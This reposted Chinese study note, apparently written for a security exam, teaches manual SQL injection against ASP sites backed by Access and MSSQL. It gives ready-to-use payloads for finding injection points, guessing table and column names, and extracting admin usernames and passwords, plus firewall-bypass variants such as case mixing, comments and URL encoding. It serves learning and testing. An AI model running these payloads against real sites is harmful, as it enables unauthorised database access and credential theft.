考核前夕之注入
来源:互联网 发布:网络测试仪杉木林 编辑:程序博客网 时间:2024/05/16 17:56
jother编码
javascript用 ! [] + - * 表示0~1000的数字编码长度不超过75个字符
+![]
+!![]
很有特征的,jother编码,一堆括号。可以在线解码,不过为了离线考试,在chrome浏览器,F12,有一个console(控制台),粘贴全部代码,回车,弹出key。
SQL注入原理-手工注入access数据库
1.理解SQL注入的原理
2.学习手工注入的过程
所谓SQL注入,就是通过把SQL命令插入到Web表单提交,或者,输入域名或页面请求的查询字符串,最终达到执行恶意命令。
首先,在以【.asp?id = 32(数字任意)】结尾的链接依次添加语句【’】,【and 1=1】,【and 1=2】,来判断网站是否存在注入点。分别显示错对错,则说明该网站存在注入漏洞
然后,添加语句【and exists(select *from admin)】,根据页面返回结果来猜解表名。页面正常显示,说明存在表名【admin】
再次,添加语句【and exists(select admin from admin)】,来猜解admin表中的列名admin。页面显示正常,说明在表中存在admin列
同样的方法,在链接末尾添加【and exists(select password from admin)】,,页面显示正常,说明在表中存在列password
最后,添加语句【and (select top 1 len(admin)from admin)>1】来猜解字段中字符的ASCII码。页面显示正常,数字依次加1,经行测试。假设>5时显示出错,则说明字段长度为5.
同样的方法,在链接末尾添加连接【and (select top 1 asc(min(admin,1,1))from admin)>97】如果显示出错,则说明第一条记录的第一位字符的ASCII码为97,对应a。
通过以上四个步骤,反复猜解,即可得到数据库存储的用户名和密码。
可以得到admin字段内容为【admin】,password字段内容为【bfpms】
ASP+ACCESS 手工注入
判断是否存在注入:
‘
- 只有这两不需要空格,下面都需要
and 1=1 返回页面正常 and 1=2 返回页面不正常
or 1=1 or 1=2
判断数据库表名、列名:
and exists(select * from [表名])
and exists(select [列名] from [表名])
判断字节长度:
order by 数字
联合查询注入:
union select 1,2,… from [表名]
根据爆出数字的情况再继续下去。
?id=1513 union select 1,2,admin,4,5,6,7,8,9,10,11,12,13,14,15,password,17,18,19,20,21,22,23,24,25,26 from [D:/1.mdb].表名
ASP+MSSQL 手工注入
判断是否存在注入:
‘
and 1=1 返回页面正常 and 1=2 返回页面不正常
or 1=1 or 1=2
判断是否为Mssql:
1.根据出错判断:
2. and (select count(*) from sysobjects)>0 返回正常就是mssql数据库
获取当前网站所用数据库库名:and 1=(select db_name())
获取第一个数据库库名:
and 1=(select top 1 name from master..sysdatabases where dbid>4)
获取第二个数据库库名:
and 1=(select top 1 name from master..sysdatabases where dbid>4 and name <> ‘第一个数据库库名’)
获取其他的以此类推
获取第一个当前使用的数据库表名:
and 1=(select top 1 name from sysobjects where xtype=’u’)
获取第二个当前使用的数据库表名:
and 1=(select top 1 name from sysobjects where xtype=’u’ and name <> ‘第一个数据库表名’)
获取其他的以此类推
获取第一个当前使用的数据库中的表(users)中的列名:
and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name = ‘users’))
获取第二个当前使用的数据库中的表(users)中的列名:
and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name=’users’) and name <> ‘第一个列名’)
类推
获取第一个当前使用的数据库中的表(users)中的列(uname)的字段:
简单理解:获取用户名
and 1=(select top 1 uname from users)
获取第一个当前使用的数据库中的表(users)中的列(upass)的字段:
简单理解:获取密码
and 1=(select top 1 upass from users)
SQL注入基本简单的绕过方法
基本/简单绕过方法:
输入and的时候一直报错,那么用or 试试?发现过程符合套路,那么说明and被过滤了,那就用下面的方法来恢复and
1、注释符
http://www.site.com/index.php?page_id=-15 /!UNION/ /!SELECT/ 1,2,3,4….
2、使用大小写
http://www.site.com/index.php?page_id=-15 uNIoN sELecT 1,2,3,4….
3、结合前面两种方法
http://www.site.com/index.php?page_id=-15 /!uNIOn/ /!SelECt/ 1,2,3,4….
4、关键字替换
http://www.site.com/index.php?page_id=-15 UNIunionON SELselectECT 1,2,3,4….
5、内部注释
http://www.site.com/index.php?page_id=-15 %55nION/**/%53ElecT 1,2,3,4…
U替换为%55,S替换为%53 在 union 和 select 之间添加注释/**/
高级绕过方法:
1、缓冲区溢出/使防火墙崩溃
大部分防火墙都是基于C/C++开发的,我们可以使用缓冲区溢出使用WAF崩溃
http://www.site.com/index.php?page_id=-15+and+(select1)=(Select 0xAA[..(add about 1000 “A”)..])+/!uNIOn/+/!SeLECt/+1,2,3,4….
你可以使用如下方法测试WAF
?page_id=null%0A///!50000%55nIOn//yoyu/all//%0A/!%53eLEct/%0A/nnaa/+1,2,3,4….
如果返回500错误,你就可以使用缓冲区溢出的方法来绕过WAF
2、对字母进行编码
http://www.site.com/index.php?page_id=-15 /!u%6eion/ /!se%6cect/ 1,2,3,4….
3、使用其他变量或者命令对注入语句进行替换
COMMAND | WHAT TO USE INSTEAD
@@version | version()
concat() | concat_ws()
group_concat() | concat_ws()
4、利用WAF本身的功能绕过
假如你发现WAF会把”*”替换为空,那么你就可以利用这一特性来进行绕过
http://www.site.com/index.php?page_id=-15+uni*on+sel*ect+1,2,3,4….
其它方法:-15+(uNioN)+(sElECt)….-15+(uNioN+SeleCT)+…-15+(UnI)(oN)+(SeL)(ecT)+….-15+union (select 1,2,3,4…)
- 考核前夕之注入
- 熟悉编程之路的前夕!~
- 计算机学院研发------考核之界面
- 期末考核突击之SpringBoot自学笔记
- 期末考核SpringBoot进阶之Web进阶
- 项目曲折进行之路——前夕篇
- 圣诞前夕
- 毕业前夕
- 国庆前夕。
- 中秋前夕
- 中秋前夕
- 奥运前夕
- ----中秋节前夕---
- 大考前夕
- 答辩前夕
- 毕业前夕
- 端午前夕
- 上班前夕
- Ubuntu crontab定时任务
- cassandra ReadTimeout
- ajax简单说明
- Android开发 之 线性渲染 LinearGradient
- C语言笔记---printf格式化输出
- 考核前夕之注入
- Java中List的排序
- 编程思想与设计模式的资料汇总
- 浅谈 JSON.stringify 方法
- 【PDF下载】大数据峰会之MaxCompute 2.0 性能优化揭秘
- 如何在Windows下实现Python2和python3共存同时使用
- MTK手机软件测试用例编写规范和流程
- Html.BeginForm方法没有生成Form标签的问题
- 数据库增删改